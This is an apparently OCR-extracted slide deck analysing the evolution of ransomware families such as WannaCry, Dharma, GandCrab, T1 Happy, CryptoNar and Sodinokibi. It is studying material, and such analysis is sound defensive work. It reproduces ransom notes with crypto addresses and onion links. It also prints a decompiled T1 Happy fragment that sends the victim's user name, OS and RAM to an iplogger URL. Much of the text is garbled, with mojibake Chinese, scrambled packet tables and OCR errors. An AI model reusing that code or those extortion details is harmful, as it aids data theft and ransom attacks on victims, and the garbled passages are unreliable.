EHR, $5‘E§étﬂbﬂ&$ﬂ%ﬂ’]hﬁi= 0 BRXHITHA BEER

FRBERERREIR(Disk, Network,
Registry, Schedule, Process)¥ £ &= |
EBAER AR  REEREEEERE,

SEEF K. Rieck, G. Schwenk, T. Limmer, T. Holz, and P. Laskov, Botzilla: Detecting the Phoning Home of Malicious Software. In Proceedings of the 25th ACM Symposium on Applied Computing (SAC), March 2010

SEE R Nildika, A. P. Mathur, A Survey of Malware Detection Techniques, Technical Report, Purdue University, 2007

2EEH. P. T. N)'Scaife, H, Carter, K.|R. Butler, Cryptolock (and drop it): Stopping ransomware attacks on user data. In'2016 IEEE 36th International Conference on Distributed Computing Systems, pp. 303-312,/12016

£#£¥% ¥ D. Sgandurra, L. Muiioz-Gonzalez, R. Mohsen, E. C. Lupu, Automated Dynamic Analysis of Ransomware: Benefits, Limitations and use for Detection, In: Computing Research Repository (CoRR), abs/ 1609.03020, arXiv.org E
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undergroundssyndicates-behind-2019-rise-of-targeted-ransomware, 2019 g Qv
SEEH : Adamov, Alexander, ders Carlsson. “The state of ransomware. Trends and mitigation t ques.” est Design & Test Symposium (EWDTS), 2017 IEEE. IEEE, 2017.

Y

¥} : Digital "Pharmacusa": Cj[mplexity of Underground Syndicates Behind 2019 Rise of Targeted Ransomware, https://www.advanced-intel.com/post/digital-pharmacusa—complexity-W
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'¢" Wana Decrypilr 2.0

EEEXFRENERET .

FooXw. BiEE. 8. RETT. X F, HPEHAEYMY
NET, ERFREERTH.

I— R FRERREEMER. SRWERLREMEFO5E, B
R, RERMANBERS, HEETRHMTHTRREEERE .

IR RIS W

Payment will be raised on

1/4/1970 08:00:00

Time Left

Your files will be lost on RELSTE, SEAN%EA,

BETLET SRR, $EREME, ERTE, EEMRHMER
PSR

e B IR AREER AT ZRBRREHE.

B, —ERAIAEE FERARETT.

$7, BTERE, HEEDERBAROEL, TERHRERE, HEH Y

Send $600 worth of bitcoin to this address:

preree] [12(9YDP gwueZaNyMgw518p7ARBIs|rBSMw
Check Payment Decrypt

1/8/1970 08:00:00

Contact Us

Distribute Ransomware
Email, SMB

Suspicious email
attachments which is a
self-extracting exe file.

Particular Behavior
Malicious Activity

It uses EthernalBlue,
EthernalRomance to infect all
hosts which can send malicious
payload.

Stop infecting if found
‘http:/Iwww.iugerfsodp9ifjaposdf]
hgosurijfaewrwergwea.com’

Z2ZEH: hitps://www.2-spyware.com/remove-dharma-ransomware-virus.html, 2019

S2EE B hitps://www.enigmasoftware.com/dharmaransomware-

removal/ 2019

Multiple Language
International Ransom

It will display one of variants
language to extortion bitcoin.

This ransomware targets Windows
XP, Windows 7, Windows 8 and
Windows Server (include Windows
NT).

The Evolution of WannaCrypt

Major Victims
2016~2019

Top 3 Countries Infected:
Russia, Ukraine and
China.



The Evolution of WannaCrypt

WannaCry Ransomware
Attack distribution by country - top 20

Vulnerabilities of SMB
from NSA, USA

® Eternal Blue, Eternal Romance,
CVE-2017-0144, CVE-2017-0145.

® Over 230,000 computers in 150
countries were infected since 2017

Malicious Activity

® Multiple language message to
extortion victims.

® Infects others Windows computers in
LAN and WAN both by SMB protocol.

Z2EZEH: hitps://www.theregister.co.uk/2017/05/13/wannacrypt_ransomware_worm/, 2019 Source: Kaspersky Lab




The Evolution of WannaCrypt BB 5 T B

¥ HELR: Yes, K& SMB-SYN
AEPELR: Yes

(1) SMB-ShareLock
(2) SMB-EternalBlue %%

 Malicious email attachment
« SMB, CVE-2017-0144
« SMB, CVE-2017-0145

og svooan ElE

#% Exploits #% Maps o5 Images

TOTAL RESULTS

1,842,329

MNew Service: Keep track of what you ha

211.118.207.160
TOPCOUNTRIES Windows 10 Pro 17134

. TCP-139. TCP-445 -
y . - - . _ Added on 2019-11-12 09:07:18 GMT

I:|:I /Hﬁ B%GETX" . UDP-135, UDP-137 e

-« TOR B EZET|REH

SMB Status
Authentication: enzbled
SMB version: 1

Capabilities: unicode, large-files ni-g

United States 562,037 x, lwio, extended-security
Russian Federation 283,940
Japan 91,832
South Afri 84,994
out AT 178.184.191.164
‘ Taiwan 80,380 164-191-184-178.pppoe.irtel.ru
Unix
0JSC Sibirtelecom
° RC4 RSA jJu Y ﬁ‘ 4 TOPSERVICES . Added on 2019-11-12 08-07-36 GMT
* H hb n ) SMB 1,822,367 mm Russian Federation, Irkutsk
-~ PB +X NP
e BitCoint {4

\

Copyright (c) 2019-2020 #1#§ K Diamond Liu (Te-Min Liu) dmliu99999@gmail.com 55






The Evolution of Dharma Ransomware

@’ e % BT A4S EL
¥ AL EAR: Almost Not Any.
W EBEAR: Yes
(1) SMB-Query xxxx-readme.txt and xxxx.lock

All your files have been encrypted!

Al your d du pr your PC. If you want to restore them, write us to the e-mail

paymentbtc@firemail.cc

Write this ID in the title of your message A4879F53

In case of in24 e-mail:

You have to pay for decryption n Btcoins. The price depends on how fast you wrie to us. After payment we wil send you the decryption tool that wil
decrypt al your fies.

(2) SMB-ShareLock
(3) SMB-ACCESS-DENY (K £)

Free decryption as guarantee
Before payng you can send us up to 1 fie for free decryption. The total sze of fles must be less than 1Mb (non archived), and fies should not
contan vakiable nformaton. (databases,backups, large excel sheets, etc.)

How to obtain Bitcoins
The easiest way to buy bkcons i LocaBtcons ske. You have to register, cick 'Buy btcons’, and select the seler by payment method and price.
‘https://bcabtcons.com/buy btcons

Also you can find to buy gude here:
RN 5 H

-

Major Victims

Attention!
® Do not rename encrypted fles.
» Do not try to decrypt your data using third party software, &t may cause permanent data loss.

c:“v-m-nfw&svdﬁﬂ\eheboflhdmsnwmmusedww(&!yaddmhmw)wywmbemamuh 2016~2019
Dharma Fami |y Top 3 Countries Infected:
United Kingdom, Italy,
2016~2019 Bangladesh.
Particular Behavior It may be one of the many variants
o o of the infamous Crysis
Malicious Activity Ransomware. This ransom family
Distribute Ransomware ® It uses ESET AV tool also includes Oron@india.com,
, installation hides malicious Zzz7z, Wallet, Cezar, Combo,
Email payload dropping and Arena, Java Ran., Write Ran.,
® Suspicious email encrypting processes. Arrow Ran., Blp_Ran.,
attachments which is a self- ® it do not encrypt files since Java2018@uitaio.arrow, Brr Ran.,
extracting exe file. the directory contains a mark Gamma, Bkp, Boost, Waifu, BTC,
file named “oooxxxx.lock’. FUNNY, Xxxxx, Audit, Tron, Adobe

Ran., Santa Ran., Wallet, Heets,

Qwex, ETH, 888, Frend, KARLS,
2EEH: hitps:/www.2-spyware.com/remove-dharma-ransomware-virus.html, 2019 AYE Ran., NWA, Korea Ran., Stun

2E£E R hitps://www.enigmasoftware.com/dharmaransomware-removal/ 2019



SMB - xxxxxxxx.lock of Dharma

(W | &pply & display filter - <Ctel-/>

| ~| Expresion- 4+ SM

Ho.

288
289
218
211
212
213

Time

2819-11-12
2019-11-12
2819-11-12
2019-11-12
2819-11-12
2019-11-12

214 2819-11-12

215
216
217
218
213
228
221
222
223

2019-11-12
2819-11-12
2019-11-12
2819-11-12
2019-11-12
2819-11-12
2019-11-12
2819-11-12
2019-11-12

224 2819-11-12

225
226
227
228
229
238
231
232

2019-11-12
2819-11-12
2019-11-12
2819-11-12
2019-11-12
2819-11-12
2019-11-12
2819-11-12

BPEPEPRPRPEPRERPEPEPERERPEPRPEPPERPERRPRERERPERERERERERERBRERE

Source

. 192.
. 192,
. 192,
. 192.
. 192,
. 192.
. 192.
. 192,
. 192,
. 192.
. 192,
. 192.
. 192,
. 192,
. 192,
. 192.
. 192,
. 192.
. 192.
. 192,
. 192,
. 192.
. 192,
. 192.
. 192.

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.
20a.
288.

162
41
162
41
162
41
162
41
162
41
162
162
41
41
162
41
162
41
162
41
162
41
162
41
162

Diestination

192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192.
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,

168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.

28

28

28

28

28

28

280

28

28

28

28

28

28

.41
208.
.41
208.
.41
208.
.41
208.
.41
208.
.41
41
200.
208.
.41
208.
.41
208.
.41
208.
.41
208.
.41
208.
.41

162

162

162

162

162

162

162

162

162

162

162

162

Protocol
SMB
SME
SMB
SME
SMB
SME
SMB
SME
SMB
SME
SMB
SME
TCP
SME
SMB
SME
SMB
SME
SMB
SME
SMB
SME
SMB
SME
SMB

Length

Info

642 Trans?2
284 Trans2
158 Trans?2
284 Trans2
142 Trans?2
284 Trans2
142 Trans?2
294 Trans2

1842 Trans?2

292 Trans2
158 Trans?
582 Trans2

Response, FIND FIRST2, Files: FoxitReaderPortable FoxitReaderPortable ¢
Request, QUERY PATH INFO, Query File Basic Info, Path: ‘“Foxit Reader 9.6.8.:
Response, QUERY PATH TNFO
Request, QUERY PATH INFO, Query File Standard Info, Path: ‘Foxit Reader 9.6,
Response, QUERY PATH TNFO
Request, QUERY PATH INFO, Query File Standard Info, Path: ‘Foxit Reader 9.6,
Response, QUERY PATH TNFO
Request, FIND FIRS5T2, Pattern: ‘“Foxit Reader 9.6.8.25114 ??22? - ??Adobe Reac
Response, FIND FIRST2, Files: . App Data FoxitReaderPortable.exe help.htr
Request, QUERY PATH INFO, Query File Basic Info, Path: ‘“Foxit Reader 9.6.8.:
Response, QUERY PATH TNFO

Response, FIND FIRST2, Files: . A0258ad436f-readme. txt déBdf40. lock

54 49396 -+ 139 [ACK] Seq=7815 Ack=35856 Win=65824 Len=0

244 Trans2
158 Trans?2
244 Trans2
142 Trans?2
254 Trans2
642 Trans?2
284 Trans2
158 Trans?2
284 Trans2
142 Trans?2
294 Trans2

1842 Trans?2

Request, QUERY PATH INFO, Query File Basic Info, Path: ‘“Foxit Reader 9.6.8.:
Response, QUERY PATH TNFO
Request, QUERY PATH INFO, Query File Standard Info, Path: ‘Foxit Reader 9.6,
Response, QUERY PATH TNFO
Request, FIND FIRS5T2, Pattern: ‘“Foxit Reader 9.6.8.25114 ??22? - ??Adobe Reac
Response, FIND FIRST2, Files: FoxitReaderPortable FoxitReaderPortable ¢
Request, QUERY PATH INFO, Query File Basic Info, Path: ‘“Foxit Reader 9.6.8.:
Response, QUERY PATH TNFO
Request, QUERY PATH INFO, Query File Standard Info, Path: ‘Foxit Reader 9.6,
Response, QUERY PATH TNFO
Request, FIND FIRS5T2, Pattern: ‘“Foxit Reader 9.6.8.25114 ??22? - ??Adobe Reac

Response, FIND FIRST2, Files: . App Data FoxitReaderPortable.exe help.htr



| @ BUYGANDCRABDECRYPTOR | & SUPPORT SERVICE 247

© What do your need?
You need GandCrab Decryptor
This software will decrypt all your encrypted files and will delete GandCrab from your PC

For purchase you need crypto-currency = DASH (1 DASH = 765.016 §)
How to buy this currency you can read it here

© How much money your need to pay? Below we are specified amount and our wallet for payment

Price-
1.5 DASH (1200 USD)

-DASH address for payment-
XeCueUcBQ2venzAjvtXwgVM6vEouZGq97N

Dash
cryptocurrency

To asks payment

“ . froma new path. 02 02 49 03

YsS HOURS MINUTES SECONDS

-To make a payment, you have this time-

-After this time the amount will double and will be-

3 DASH (2400 USD)
Raas

It provides a road for
criminal called
‘Ransomware as a Service’
to grasp a lot fees from
victims.

N\

T LaVe

We are sorry, but your files have been encrypted!

Don't worry, we can help you to return all of your files!

Files decryptor's pricelis

If paymentisn't made until the cost of decrypting files will be doubled

Decrypt 1 file for FREE

Within 5 days you can purchase this product at a special price: BTC 0.300 (~ $2433)

After 5 days the price of this product will increase up to: BTC 0.600 (~ $4866)

S 04 . 23:59:46

N\ o i

Distribute Ransomware
Malicious email, exploit kits (EK), SMB connection

Particular Behavior

® |t searchs the xxxx-DECRYPT.HTML in the directory of victim’s disk.

® |t takes a count down clock to push victims to pay ransom fees.

® In the forum message, the GandCrab authors bragged about the
ransomware having earned over $2 billion in ransom payments, with
the operators making roughly $2.5 million per week and $150 million

per year.

GandCrab

017 FBERN "EENZHR, KBSFRERYR , HBFEARR
2019F ERtMZEHRERAKE BRI, (RAREEERERT)LL
WIENEZERZNSIRER AL LB SRS MZESREERS, Major Victims

American, Canada, and European countries




---= GANDCRAB V2.0 =---

Attention!

All your files documents, photos, databases and other important files are encrypted and have the extension: .CRAE
The only method of recovering files is to purchase a private key. It is on our server and only we can recover your fil
The server with your key is in a closed network TOR. You can get there by the following ways:

1. Download Tor browser - https://www.torproject.org/

2. Install Tor browser

3. Open Tor Browser

4. Open link in tor browser: http://gdcbmuveqjsli57x.onion/[redacted]

5. Follow the instructions on this page

If Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:

1. https://gdcbmuveg;jsli57x.hiddenservice.net/[redacted]
2. https://gdcbmuveqjsli57x.onion.guide/[redacted]

3. https://gdcbmuveq;jsli57x.onion.rip/[redacted]

4. https://gdcbmuveqjsli57x.onion.plus/[redacted]

5. https://gdcbmuveqjsli57x.onion.to/[redacted]

On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.
The alternative way to contact us is to use Tox messanger. Read how to:
1. Visit https://tox.chat/download.html

hla

+EH#H X T (doc macro)

- WENE I E(Rig EK, GrandSoft EK, Magnitude EK, Fallout EK)

*SMB connect to LAN to encrypt
*HTTP, HTTPS, SMTP

*TOR B EFEEI RS

*RC4, RSA
*DASH payment, TOX Chat

& : https://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/

Payment Page +

@~ € gdcbmuveqjsliS7x.onion

We are sorry, but your files have been encrypted!

Don't worry, you can return all your files! We can help you!

Files decryptor price is

If payment is not made after the cost of decrypting files will be doubled

Time left to double price:

01 days 16h:07m:45s

What happened?

Your computer have been infected with GandCrab
Ransomware. Your files have been encrypted and you can't ™ DASH
decrypt it yourself.

In the network, you can find decryptors and third-party Payment amount

software, but it will not help you and can make your files
undecryptable.

What can I do to get back my files?

You should buy GandCrab Decryptor. This software will
decrypt all your encrypted files and remove GandCrab

& : https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-version-2-released-with-new-crab-extension-and-other-changes/



GandCrab

(| &pply  display filter = <Ctel-ds

V5 4Pk SMBHE RS E B

'] Expression--

Mo.

Time
236 2819-18-25
237 2819-18-25
238 2819-18-25
239 2819-18-25
240 2819-18-25
241 2819-18-25
242 2819-18-25
243 2819-18-25
244 2819-18-25
245 2819-18-25
246 2819-18-25
247 2819-18-25
248 2819-18-25
249 2819-18-25
250 2819-18-25
251 2819-18-25
252 2819-18-25
253 2819-18-25
254 2819-18-25
255 2819-18-25
256 2819-18-25
257 2819-18-25
258 2819-18-25
259 2819-18-25
260 2819-18-25

18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:
18:

59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59
59

55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
55.
487923

55

369355
369529
369752
378742
373275
373380
373655
373737
373874
373957
375537
375726
375833
375925
376834
376127
376198
376289
380862
380293
386527
386623
393487
393557

Sonrce
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,
192.
192,

led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.
168.
led.

208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.
208.

25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25

Destination

192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,
152.
192,

1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,
168.
1638,

268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,
268,

162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162
25
162

Protocol
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
SMB
DCERPC
SMB
SMB
DCERPC
SRVSVC
SRVSVC
SMB
SMB
SMB
SMB
SMB

Length

162
299

514 Session

175
132

Info
Session Setup AndX Request, NTLMSS5P NEGOTIATE

Session Setup AndX Response, WTLMSSP CHALLENGE, Error: S5TATUS

Session Setup AndX Response
Tree Connect AndX Request, Path: ‘\\HTTP\IPC%

114 Tree Connect AndX Response
Tree Connect AndX Request, Path: “WHTTPWPVSIS-DECRYPT.HTML
Tree Connect AndX Response, Error: 5TATUS BAD NETWORK_NAME
Tree Connect AndX Request, Path: “WHTTPWPVSIS-DECRYPT.HTML
Tree Connect AndX Response, Error: 5TATUS BAD NETWORK_NAME

168

93
168

93
158
193
138
142
238

117
218
226
498

99

93
138
128
182

NT Create AndX Request, FID: 8x4888, Path: \srvsvc
NT Create AndX Response, FID: @x4868

Setup AndX Request, NTLMS5P AUTH, User: (C5-281987%Admi

Trans2 Request, QUERY FILE INFO, FID: B8x4808, Query File 5tand

Trans2 Response, FID: @xd4888, QUERY FILE TINFO

Bind: call id: 2, Fragment: Single, 2 context items: SRVSVC V3
185 Write AndX Response, FID: @x4888, 116 bytes
Read AndX Request, FID: @x4800, 1824 bytes at offset @

Bind ack: call id: 2, Fragment: 5ingle, max xmit: 4288 max_rec

NetShareEnumAll request

MetShareEnumill response

Close Request, FID: ©9x4000

Close Response, FID: @xd888

Tree Connect AndX Request, Path: “\HTTPY?2?

Tree Connect AndX Response

NT Create AndX Request, Path: “PV5J5-DECRYPT.html



The Evolution of T1 Happy Ransomware

| 2019-1111-Test-After-3.avi.happy.happy 2019/11/11 28— FH 559  HAPPY BE 64,851 KB m Eﬁ.iﬂ'@?ﬁ- %ﬁ%{
| 2019-1111-Test-After-3.pcap.happy.happy 2019/11/11 28— TF 259 HAPPY 182 40 KB 8 s . HA - = . E \ﬁ =
| 2019-1111-Test-After-Netstat-5.png.happy 2019/11/11 28— T4 559  HAPPY fg% 67 KB ¥T§*Eﬁ§ Yes, *ﬁ"ﬂ E’J SMTP, j?‘ TE% E’J HTTPS 18 E;l’
| 2019-1111-Test-After-Resource-5a.pnghappy ~ 2019/11/11 25— T4 559  HAPPY = 27 KB A HBE:%?Z Almost Not Any.
| 2019-1111-Test-After-Resource-5b.png.happy 2019/11/11 28— TF 259 HAPPY 182 53 KB
| 2019-1111-Test-After-Tasklist-5.png.happy 2019/11/11 E8— TF 559 HAPPY 123 47 KB
| cc_20181120_144346.reg.happy.happy.happy 2019/11/11 28— TF 359 HAPPY 23 23 KB
| Test-Atxthappy 2019/11/11 E8— TF 5:59 HAPPY f22 1KB
| Test-B.txthappy 2019/11/11 28— T4 559  HAPPY BZE 1KB
test-D.txt 2019/11/11 E8— T 523  XE3H 1KB
Major Victims
2016~2019
Network Traffic Top 3 Cquntrles Infected:
United Kingdom, Italy,
2019~ Bangladesh.
Particular Behavior This ransomware will connect to a
o SMTP Server and another HTTPS
Challenge the victims Server both.
Distribute Ransomware  ltleavesits source code .
on the victim's computer It might cause an Error Message
Email challenging the victim to on Windows 7 and Windows 10
messages and poor routine themselves. encrypting result.

security protection.

2:E &R hitps://www.enigmasoftware.com/tLhappyransomware-removal/, 2019




Patricia code of T1 Happy

System.lO.File.WriteAllText(Interaction.Environ("userprofile”) & "\Desktop\HIT BY RANSOMWARE.txt", T1.My.Resources.Resources.HIT_BY_ RANSOMWARE)
System.lO.File.WriteAllText(Interaction.Environ("userprofile”), T1.My.Resources.Resources.HIT_BY_ RANSOMWARE)
System.lO.File.WriteAllText(Interaction.Environ("appdata”), T1.My.Resources.Resources.HIT_BY RANSOMWARE)
System.lO.File.WriteAllText(Interaction.Environ("programdata™), T1.My.Resources.Resources.HIT_BY_ RANSOMWARE)
Dim webclientl As System.Net.WebClient = New System.Net.WebClient()
Try
webclientl.Headers
"User-Agent"
New String(9) {}
New String(9) {}(0) = "Name="
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; OS="
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName(4) = "; RAM="
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName(4) = "; RAM="(5) = Conversions.ToString(
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName(4) = "; RAM="(5) = Conversions.ToString(
New String(9) {}(0) = "Name="(1) = T1.My.MyProject.User.Name(2) = "; 0S="(3) = T1.My.MyProject.Computer.Info.OSFullName(4) = "; RAM="(5) = Conversions.ToString(
webclientl.DownloadData("https://iplogger.org/21zut™)

Finally
If (webclientl Is Not Nothing) Then
webclientl.Dispose()
End If
End Try
System.Threading.Thread.Sleep(15000)
ProjectData.EndApp()
End Sub
Private Sub Regs()
New Process()
New Proce<s<() Startlnfo FileNName = "wmic exe"



SMTP and HTTPS of T1 Behavior

(] &pply a display filter -+ <Ctil-/>

- ] Expression---

+ EMI

Ma.

L

Time
87 2819-11-11
88 2019-11-11

98 2819-11-11

92 2819-11-11
93 2819-11-11
894 2819-11-11
895 2819-11-11
96 2819-11-11
97 2819-11-11
98 2819-11-11
899 2819-11-11
l8e 2819-11-11
181 2819-11-11
182 2819-11-11
183 2819-11-11
1g4 2819-11-11
185 2819-11-11
186 2819-11-11
187 2819-11-11
188 2819-11-11
189 2819-11-11
118 2819-11-11
111 2819-11-11

16:
16:

16:

16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:
16:

48:
48:

48:

48:

48

48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:
48:

11.
11.

11.

11.
112,
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.
12.

328849
517237

718281

889656
865789
865798
865994
867895
869815
869532
325263
325392
325539
588855
636869
789461
894933
895849
895879
895169
895178
895183
985931

Bonrce
192.1638.2088.42
1.1.1.1
192.1638.268.13

192.168.288.42

Asustek(C 38:c7:
AsustekC 38:c7:
Asustek(C 5d:41:
AsustekC 38:c7:

212.227.17.168
192.168.288.42
212.227.17.168
212.227.17.168
192.168.288.42
212.227.17.168
192.168.288.42
192.168.280.13
212.227.17.168
212.227.17.168
192.168.288.42
212.227.17.168
212.227.17.168
192.168.288.42
192.168.288.42

22
22
ad
77

Diestination
1.1.1.1
192.168.260.42

239,255,255.258

212.227.17.168
Broadcast
Broadcast
Broadcast
Broadcast
192.168.288.42
212.227.17.168
192.168.288.42
192.168.268.42
212.227.17.168
192.168.268.42
212.227.17.168

239,255,255.258

192.168.2688.42
192.168.288.42
212.227.17.168
192.168.288.42
192.168.2688.42
212.227.17.168
212.227.17.168

lI\_I\

©

Protacal
DNS
DNS

S5DP

TCP

ARP

ARP

ARP

ARP
SMTP
SMTP
TCP
SMTP
SMTP
SMTP
TL5v1.2
S5DP
TL5v1.2
TCP
TCP
TLSv1.2
TL5v1.2
TCP
TL5v1.2

Length  Info
72 Standard query 8xb554 A
184 S5tandard query response

216 M-SEARCH * HTTP/1.1

54 49452 » 587 [ACK] Seg=1
60 Who has 192.168.200.51?
60 Who has 192.168.200.52?
60 Who has 192.168.200.53?
60 Who has 192.168.200.53?

mail.gmx.net

Bxb554 A mail.gmx.net A 212.227.17.168 |

Ack=1 Win=66568 Len=0
Tell 192.168.208.53
Tell 192.168.200.53
Tell 192.168.208.51
Tell 192.168.200.52

186 S: 2208 gmx.com (mrgmx1@5) Nemesis ESMTP Service ready

71 C: EHLO E12-281987
60 587 - 49452 [ACK] 5Seq=53 Ack=18 Win=29312 Len=0

169 S: 250-gmx.com Hello E12-281987 [211.21.156.86] | 250-8BITMIME

64 C: STARTTLS

62 5: 228 0K

222 Client Hello
216 M-SEARCH * HTTP/1.1
1586 Server Hello

1586 587 -+ 49452 [ACK] Seq=1628 Ack=196 Win=38336 Len=1452 [TCP segme

54 49452 -+ 587 [ACK] Seq=196 Ack=3088 Win=066568 Len=0
15686 Certificate [TCP segment of a reassembled PDU]

278 Server Key Exchange, Server Hello Done

54 49452 - 587 [ACK] Seq=196 Ack=4748 Win=66568 Len=0

236 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Me:

©

=



The Evolution of CryptNar Ransomware

e BB £ 01T B IS
Y HELR: Yes, RATEHAWSMTP, & T EH HTTPS &

| A ERELR: Almost Not Any.
BB

CyberLink CyberLink VideoMate CryptoNar
Ransomware

Major Victims

2016~2019
Network Traffic Top 3 Countries Infected:
United Kingdom, Italy,
S 2019+ Bangladesh.
Particular Behavior This ransomware will connect to a
o SMTP Server and another HTTPS
Challenge the victims Server both.

Distribute Ransomware It leaves its source code
on the victim's computer,

Email challenging the victim to
By phishing email messages reverse the encryption
with a fake pdf file. routine themselves.

2:E &R hitps://www.enigmasoftware.com/tLhappyransomware-removal/, 2019




CryptoNar 43 %rSMTP# & & B

(Lol o displsy filter =+ <Ctil-/>

[ ~| Expression:-

o,

Time

66 2019-18-24 28:84:35.683692
67 2819-18-24 28:84:36.482538
63 2019-18-24 28:84:37.249897
69 2819-18-24 28:84:37.258436
78 2919-18-24 20:84:37.250458
71 2919-18-24 28:84:37.258282

74 2919-18-24
75 2819-18-24
76 2819-18-24
77 2819-18-24
78 2819-18-24
79 2819-18-24
88 2919-18-24
81 2819-18-24
82 2919-18-24
83 2819-18-24
84 2919-18-24
85 2819-18-24
86 2819-18-24
87 2819-18-24
88 2819-18-24
89 2819-18-24
98 2919-18-24

20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:
20:

ERERRERERERERREERERE

:37.
:37.
:37.
138,
:38.
138,
:38.
138,
:38.
138,
:38.
138,
:38.
138,
:38.
138,
:38.

559868
848183
848774
1295382
1384432
138542
138571
138658
138746
413229
428564
683796
635126
783151
783278
783299
783378

Somce

fe8l: :edad:5bbd: 7¥81:2cc3
Asustek(C 5d:41:8d
Asustek(C 5d:41:92
LannerEl 85:ab:62

192.168.288.13
1.1.1.1

192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
31.186.243.164
31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13

fedd: :edad:5bbd: 7F81: 2cc3
feld: :ecB2:cB76: cf7:c683

31.186.243.164
31.186.243.164
192.168.288.13
31.186.243.164

Dieztination
f82::c
Broadcast
Broadcast

Protocol
SSDP
ARP
ARP

Asustek(C 5d:41:92  ARP

1.1.1.1
192.168.288.13

31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13
192.168.2686.13
192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
192.168.288.13
31.186.243.164
f82::c
ffB2::1:2
192.168.288.13
192.168.2686.13
31.186.243.164
192.168.2686.13

lM\

©

DNS
DNS

TCP
SMTP
SMTP
TCP
SMTP
SMTP
TCP
SMTP
SMTP
SMTP
TLSv1
55DP
DHCPvE
TLSv1
TCP
TCP
TLSv1

Length  Info

288 M-SEARCH * HTTP/1.1

68 Who has 192.168.200.53? Tell 192.168.200.51

42 Who has 192.168.288.254? Tell 192.168.288.13

b8 192.168.200.254 is at ©0:90:0b:@5:ab:62

72 Standard query Bxd72b A smtp.zoho.eu

88 Standard query response Bxd72b A smtp.zoho.eu A 31.186.

54 49383 - 587 [ACK] Seqg=1 Ack=1 Win=66568 Len=0
126 5: 220 mx.zohomail.com SMTP Server ready October 24, 26
71 C: EHLO C3-2819888
60 587 - 49383 [ACK] Seq=73 Ack=18 Win=29312 Len=0
124 5: 258-mx.zohomail.com Hello (C3-2819688 (192.168.136.2
B8 5: 258-STARTTLS
54 49383 - 587 [ACK] Seq=18 Ack=157 Win=66568 Len=8
73 5: 258 SI7E 53477376
64 C: STARTTLS
79 5: 228 Ready to start TLS.
174 Client Hello
288 M-SEARCH * HTTP/1.1
156 Solicit XID: Bxcl3c38 CID: 88818881241683FA28cF3Be9FBdc
1454 Server Hello
1454 587 - 49383 [ACK] Seq=1681 Ack=148 Win=29312 Len=1480 [
54 49383 - 587 [ACK] Seq=148 Ack=3001 Win=66560 Len=0
439 Certificate, Server Key Exchange, Serwver Hello Done

©

J\J\J



The Evolution of Sodinokibl Ransomware

1B3E 1T AL
HHGELR: Yes, IBHIERE HTTPS @ (Wt EERE1T A, HH)

4 o

REBEAR: Almost Not Any.

olll

Your documents, photos. To decrypt your files you need 1o You can &o it ight now: Follow the
databases and other important files buy our special software - p67867- instructions below. But remember
encrypted Decryptor that you do not have much time
p67867-Decryptor costs

You have 2 days, 23:59:45 Current price 0.46411566 btc . . H
* If you do not pay on time. the price will be coubled ~2500UsD Major VICtI mS
* Time ends on May 4, 012646 After time ends 0.92823132 btc

~ 5,000 USD

2016~2019

Status: No access to download p&7867-Decryptoc
S e g e Network Traffic Top 3 Countries Infected:

EU and North American.

S 2019~

